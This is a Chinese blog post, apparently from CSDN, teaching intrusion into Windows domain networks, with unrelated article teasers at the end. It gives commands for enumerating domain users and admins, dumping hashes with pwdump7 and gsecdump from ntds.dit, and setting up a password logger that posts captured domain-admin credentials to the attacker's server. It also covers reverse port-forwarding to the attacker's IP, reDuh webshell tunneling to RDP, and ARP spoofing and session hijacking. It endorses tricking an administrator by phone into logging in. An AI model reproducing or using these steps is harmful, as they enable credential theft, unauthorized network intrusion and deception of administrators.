域环境下的渗透_从域环境搭建到域渗透(下)-程序员宅基地

技术标签: tcp  网络  服务器  工具  sockets  windows  

在进行内网渗透,尤其是在比较大型的网络环境下,很可能会遇到域这样一种特殊的网络环境,而在域环境下的内网渗透又将是另外一片天地。
       首先还是先简要看一下域的概念吧:
       (Domain) 是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件 和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
       域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策 略,以及它与其他域的安全信任关系。

       通过上述的了解,我们可以知道域管理员的权限是相当大的,域管理员可以通过持有域的登陆票据从而实现对域内各个计算机的远程管理,即有权限登陆任何一台机器。那么在渗透的过程中我们就可以通过某种方式记录下管理员登陆的密码,当然了,这只是其中的一种思路。

       获得一台内网或域中的肉鸡之后,先来查看一下当前的网络环境,执行:

net view

       即可获得一系列主机名,并且可以通过Ping其机器名得到其IP地址,不过注意到列出的机器名只是在网络结构中有联系的,而不一定就在同一内网或域中。
       执行

ipconfig /all

       来查看是否存在域环境,倘若存在的话则可以继续执行:

net user /domain

       来查看域内都有哪些用户,还可以查看指定域内都有哪些计算机:

net view /domain:testdomain      (testdomain 假设为目标的其中一个域)

        查看域内的管理员用户则可以执行:

net group "domain admins" /domain 

       还可以通过命令:

net user domain-admin /domain

       查看管理员登陆时间,密码过期时间,是否有登陆脚本,组分配等信息。
       一般在正式进攻之前还是多多掌握一些网络的信息为好,可以通过遍历管理员的文件从中获取可能的隐私信息,信息越多越好,其次就是抓取本机的hash值,这里可以用到一个工具:pwdump7.exe
用这个来抓hash很简单,命令行下直接执行即可,将hash导出到文本的命令为:

pwdump7.exe>1.txt

       得到hash之后就可以用工具诸如lc5,rainbowcrack,saminside,ophcrack 之类的去破解了,运气好的话能破解出来了就可以利用这个密码尝试登陆内网的其他机器了,当然了,权限到底大不大那只能看运气了。这里还介绍另外一个域渗透 中的利器:gsecdump
      
好处就在于能从域服务器密码存储文件

windows/ntds/ntds.dit

       中导出所有域用户hash的工具,并能从活动进程中导出hash。而且只要有一个本地管理员权限 利用hash注入能开启域管理员进程,方便域渗透。命令行下的东西,看看说明就知道怎么用了。
       还可以通过记录域管理员登陆该主机密码来获取信息,这里用到一个小工具:Winlogon
       可以截获登陆本机3389的密码,当然了也可以截获域管理员登陆的密码了,至于如何让域管理员登陆此机,有可能需要一段漫长的等待,或许管理员有个固定的 周期来登陆例行检查,或者你也可以制造个谎情来欺骗域管理员的登陆,以前就有哥们冒充服务器管理员给域管理员拨通了电话谎称服务器中了病毒无法清除请他来 帮忙,域管理员没来得及多想就登陆进来了,结果可想而知,密码成功被记录!当然了,更多的方法还是要靠大家自己去想了,呵呵。
       由于Winlogon只能将密码记录在本机,因为不知道管理员什么时候登陆进来,于是我们可以利用网上有人改造过的可以Asp发信的版本,直接将截获的用户名和密码发送至自己的Asp收信地址了。不过好像仅适用于Win2003系统。
       使用方法为:运行 Loader.exe 填入自己的收信地址之后就会生成 CreateServer.exe,将Asp传到服务器,然后在肉鸡上运行密码记录器即可,post.asp 会在你的URL地址下生成key.txt。

              前期准备告一段落了,接下来可以开始正式的渗透了。
       一般情况下,内网中可能存在相当一部分存在弱口令或者有着溢出机会的机子,溢出不失为一个好主意,不过要注意到,虽然服务器已经被我们拿下了并且远程登陆 上了,但是不一定所有的工作都必须在登陆界面进行,这样很有可能被管理员发现,或者产生其他未知的问题,而且有的时候要是工具们过于庞大的话也不便直接传 上去,那么可以先利用端口转发,VPN之类的隧道技术将入侵环境移植到本地远程渗透上面来,这里可以用到几种利器:
       ①ncph的hd (Lcx也行,类似)
         适用于防火墙阻止外部链接,双向外网的情况下。本机执行命令:

hd -s listen 53 1180

         意思是将连接进来的53端口的数据转发到1180端口。
         在肉鸡上运行:

hd -s -connect XX.XX.XX.XX 53    (XX.XX.XX.XX 为自己IP)

         本机即可收到反弹回来的代理的情况。接下来就可以在SocksCap里面具体设置了,当然先要装上SocksCap,之后的sockets控制台设置如图:
         socks 
         连接之后就可以大胆的撒开手去干了,工具之类的可以直接拖进控制台界面。
       ②reDuh(Webshell下的跳板)
         适用于webshell下用,支持aspx,php,jsp,可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。服务端是个webshell(针对不同服务 器有aspx,php,jsp三个版本),客户端是java写的,本机执行最好装上JDK。
         webshell传好之后,命令行下执行: 

reDuhClient 目标服务器域名 http 80 /WEBSHELL路径/reDuh.aspx

         然后本机用NC连接1010端口:

nc -vv localhost 1010

         连接成功会有欢迎提示,之后输入命令

[createTunnel]1234:XX.XX.XX.XX:3389   (XX.XX.XX.XX 为肉鸡IP 或者域名)
  

         即可将远程3389端口转发至本机1234端口,通道建立之后直接mstsc连接本机1234即可。
         另外提供reDuh的GUI版本,无需本机安装JDK的支持就可以用了。
      
      一切连接就绪之后,入侵可以开始实施了,常用的方法大概有几种:
      溢出:
      前面说了内网中出现弱口令和溢出可能性的概率是比较大的,那么就可以使用常见的溢出手法来进行攻击,(过一段时间再搜集一些常用的溢出手法以飨观众)可以 使用端口扫描器扫描内网中其他机器的端口,通过弱口令之类的加以利用,这个的成功性就不好说了,要视情况而定,通常情况下都是比较繁琐一点的,因为现在大 多数的计算机都是满载着补丁而行的,溢出的成功率已远不如从前那个溢出横行的时代了,不过这也不失为一种方法罢了。
       欺骗:
       欺骗分为很多种,有ARP欺骗,DNS欺骗,主动与被动会话劫持之类的。前两者可以利用强大的Cain来加以实现,至于Cain的具体用法就不多说 了,Google一下,你就知道。而对于会话劫持,涉及到TCP/IP原理部分,而且由于其主要实现环境在linux下,本人也不太懂 =.= ,于是这里只是简要介绍一下了.
       TCP使用端到端的连接,在数据传输中需要提供两段序列号:
       字段序号(seq)和确认序号(ackseq)。
       seq指出了本报文中传送的数据在发送主机所要传送的整个数据流中的顺序号,ackseq指出了发送本报文的主机希望接收的对方主机中下一个八位组的顺序号,两者之间的相互关系为:
       要发出的报文中的seq值应等于它所刚收到的报文中的ackseq的值;
       要发送报文中ackseq的值应为它所收到报文中seq的值加上该报文中所发送的TCP净荷的长度。
       会话劫持者所需要做的就是窥探到正在进行TCP通信的两台主机之间传送的报文,得知该报文的源IP、源TCP端口号、目的IP、目的TCP端号,从而可以 得知其中一台主机对将要收到的下一个TCP报文段中seq和ackseq值的要求,于是抢先向被攻击主机发送恶意的带有净荷的TCP报文获取会话的主动 权,从而避开了被攻击主机对访问者的身份验证和安全认证。
       不过其中要注意的就是如果会话中的主机发现所收到的数据包不是期望值的时候,那么就会用自己期望的序列号发送ACK包[ACK:期望收到对方数据包中第一 个字节的序号],那么对方所收到的也将不是期望值,就会再次以自己期望的序列号返回ACK包,周而复始形成ACK风暴(Strom),从而造成数据流的堵 塞,这样就不好了,所以事先要通过ARP欺骗实施包转发之后再进行会话劫持。
       那么会话劫持的主要工具包括:arpspoof、fragrouter 和 hunt。
       Arpspoof:ARP欺骗用
       Fragrouter:包转发用
       Hunt:会话劫持用  [Linux下]
       至于详细操作步骤就不细说了,用的时候自己查阅便是了。

       总结:内网域渗透很好很强大!如此高深的渗透技巧远不是本文这寥寥几句所能道得清的,这里这是略微总结一下内网渗透的基本技巧,更多的知识还要靠自己在实战中去挖掘,去体会,其实内网渗透是一个灰常艰苦的活儿,也只有实践才能出真知,坚持才能得胜利!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/maxiaoqiang1/article/details/6102044

智能推荐

深入理解java虚拟机课程的截图-6-宋红康老师_尚硅谷截图工具-程序员宅基地

文章浏览阅读393次。【来自B站视频:https://www.bilibili.com/video/BV1BJ41177cp?p=169】【JDK逐渐演进时,不同版本的变化点在哪里:http://openjdk.java.net/jeps/0】【垃圾收集器官方文档:https://www.oracle.com/technetwork/java/javase/tech/memorymanagement-whitepape.._尚硅谷截图工具

十三届蓝桥杯EDA省赛赛后感_蓝桥杯eda好拿奖吗-程序员宅基地

文章浏览阅读2.8k次,点赞5次,收藏42次。十三届蓝桥杯EDA赛后感_蓝桥杯eda好拿奖吗

真正让你明白Hive调优系列3:笛卡尔乘积,小表join大表,Mapjoin等问题_真正让你明白hive调优系列3:笛卡尔乘积,小表join大表,mapjoin等问题-程序员宅基地

文章浏览阅读8.6k次,点赞14次,收藏73次。0.Hive中的优化分类 真正想要掌握Hive的优化,要熟悉相关的MapReduce,Yarn,hdfs底层源码,明晰Hive的底层执行流程。真正让你明白Hive调优系列,会征对下面分类逐一介绍。大类1:参数优化文件输入前看是否需要map前合并小文件 控制map个数,根据实际需求确认每个map的数据处理量,split的参数等 Map输出是否需要启动压缩,减少网络传输,OOM处理等 控制redcue个数,控制每个reduce的吞吐量,OOM处理等 是否将common-join转换成..._真正让你明白hive调优系列3:笛卡尔乘积,小表join大表,mapjoin等问题

001-ant design安装及快速入门【基于纯antd的基本项目搭建】-程序员宅基地

文章浏览阅读427次。一、安装使用1.1、安装推荐使用 npm 或 yarn 的方式进行开发npm install antd --saveyarn add antd1.2、浏览器引入在浏览器中使用script和link标签直接引入文件,并使用全局变量antd。我们在 npm 发布包内的antd/dist目录下提供了antd.jsantd.css以..._ant-di

基于springboot的疫情社区管理系统毕业设计源码_社区健康管理系统毕设用什么框架-程序员宅基地

文章浏览阅读356次,点赞6次,收藏9次。其次,系统的使用可以提高居民对疫情防控知识的了解和意识,增强居民的自我防护意识和能力,有利于构建健康和谐的社区环境。首先,该系统可以帮助社区管理者更有效地掌握疫情信息和居民健康状况,从而采取针对性的防控措施,减少疫情传播风险,降低医疗资源消耗,节约成本。其次,系统提供的线上服务申请功能可以方便居民在线购买生活物资、就医就诊等,减少人员流动,降低感染风险,同时也提升了居民的生活便利性,增加了社区服务的附加值。在这个系统中,主要的功能包括疫情信息的发布、居民的健康状态监控、疫情防控措施的实施等。_社区健康管理系统毕设用什么框架

spring 整合 jpa_spring 整合jpa-程序员宅基地

文章浏览阅读186次。jpa 整合spring一、导入jar包antlr-2.7.7.jardom4j-1.6.1.jarehcache-core-2.4.3.jarhamcrest-core-1.3.jarhibernate-commons-annotations-4.0.2.Final.jarhibernate-core-4.2.4.Final.jarhibernate-ehcache-4.2.4.Final.jarhibernate-entitymanager-4.2.4.Final.jarhibern_spring 整合jpa

随便推点

LeetCode刷题: 【15】三数之和_n 个正整数,取出 3 个 a,b,c,加入一个新数字是 a×b×c+1,循环往复,如果剩下 2 个-程序员宅基地

文章浏览阅读205次。1. 题目给定一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0 ?找出所有满足条件且不重复的三元组。注意:答案中不可以包含重复的三元组。例如, 给定数组 nums = [-1, 0, 1, 2, -1, -4],满足要求的三元组集合为:[[-1, 0, 1],[-1, -1, 2]]来源:力扣(Leet..._n 个正整数,取出 3 个 a,b,c,加入一个新数字是 a×b×c+1,循环往复,如果剩下 2 个

2021最新SEO按天扣费系统源码完整版_toasin seo扣费系统-程序员宅基地

文章浏览阅读1.5k次。介绍:1.会员管理:系统共分三级会员流程。总站管理员, 代理, 和会员(会员分三个等级,普通会员,中级会员和高级会员),总站添加代理用户,给代理用户充值余额,代理给普通用户充值余额,代理也可给3个级别的会员增加关键词的查询比例,如果这个关键词总站给代理是10元,代理给普通用户设置比例是200%, 那么用户添加这个关键词就是20元, 多余的10元就是代理的利润, 代理只能看到他自己的下级会员,设置的比例也只对自己的下级会员有效,如果代理没有设置比例, 那么就将按照总站给代理的价格,也就是原价展示给用户._toasin seo扣费系统

Windows远程桌面实现之十二:桌面屏幕通过ONVIF协议与NVR等监控录像设备对接,以及进一步增强直播功能_winform onvif协议的nvr-程序员宅基地

文章浏览阅读4.9k次,点赞4次,收藏9次。by fanxiushu 2021-10-27 转载或引用请注明原始作者。标题还是取名叫 “Windows远程桌面实现“,其实经过全面的移植,xdisp_virt程序已经支持 macOS系统,各类linux发行版,(iOS也移植了,只是发布iOS的程序实在是麻烦,所以并没发布出来,暂时也没有对应的Android手机,所以Android系统暂时也没有移植)所以xdisp_virt已经不再是单一的Windows版本的程序了,标题中还保持”Windows“,是因为讲述这个系列的文章比较多。本文讲述在x_winform onvif协议的nvr

Mysql的with rollup(5.1以上版本)-程序员宅基地

文章浏览阅读71次。使用 GROUP BY 的 WITH ROLLUP 字句可以检索出更多的分组聚合信息,它不仅仅能像一般的 GROUP BY 语句那样检索出各组的聚合信息,还能检索出本组类的整体聚合信息。RollUp是上卷功能,类似于数据挖掘中的上卷操作。ROLLUp的功能和Order by功能是互斥的。..._mysql rollup函数 版本

计算机网络实用技术教学资源,计算机网络实用技术第一章课件教学.ppt-程序员宅基地

文章浏览阅读83次。计算机网络实用技术第一章课件教学.ppt计算机网络实用技术 第1章 计算机网络概述 计算机网络技术是计算机技术与通信技术相结合的产物,随着计算机技术和通信技术的发展,计算机网络技术也在飞速的向前发展。如今,计算机网络已经成为信息存储、传播和共享的有力工具,成为信息交流的最佳平台。了解计算机网络知识,掌握计算机网络技术已经成为当代社会成员在网络化和数字化世界生存的基本条件,实..._计算机网络技术 信息化教学资源

input输入框对金额类型数字限制,只能输入数字和小数点;_html 中input 正则只能输入金额-程序员宅基地

文章浏览阅读7k次。最近需要对金额输入框进行限定,要求如下:只能输入数字和小数点; 小数点只能有1个 第一位不能是小数点 第一位如果输入0,且第二位不是小数点,则去掉第一位的0 小数点 后保留2位 NumberCheck(num) { var str = num; var len1 = str.substr(0, 1); var len2 = s..._html 中input 正则只能输入金额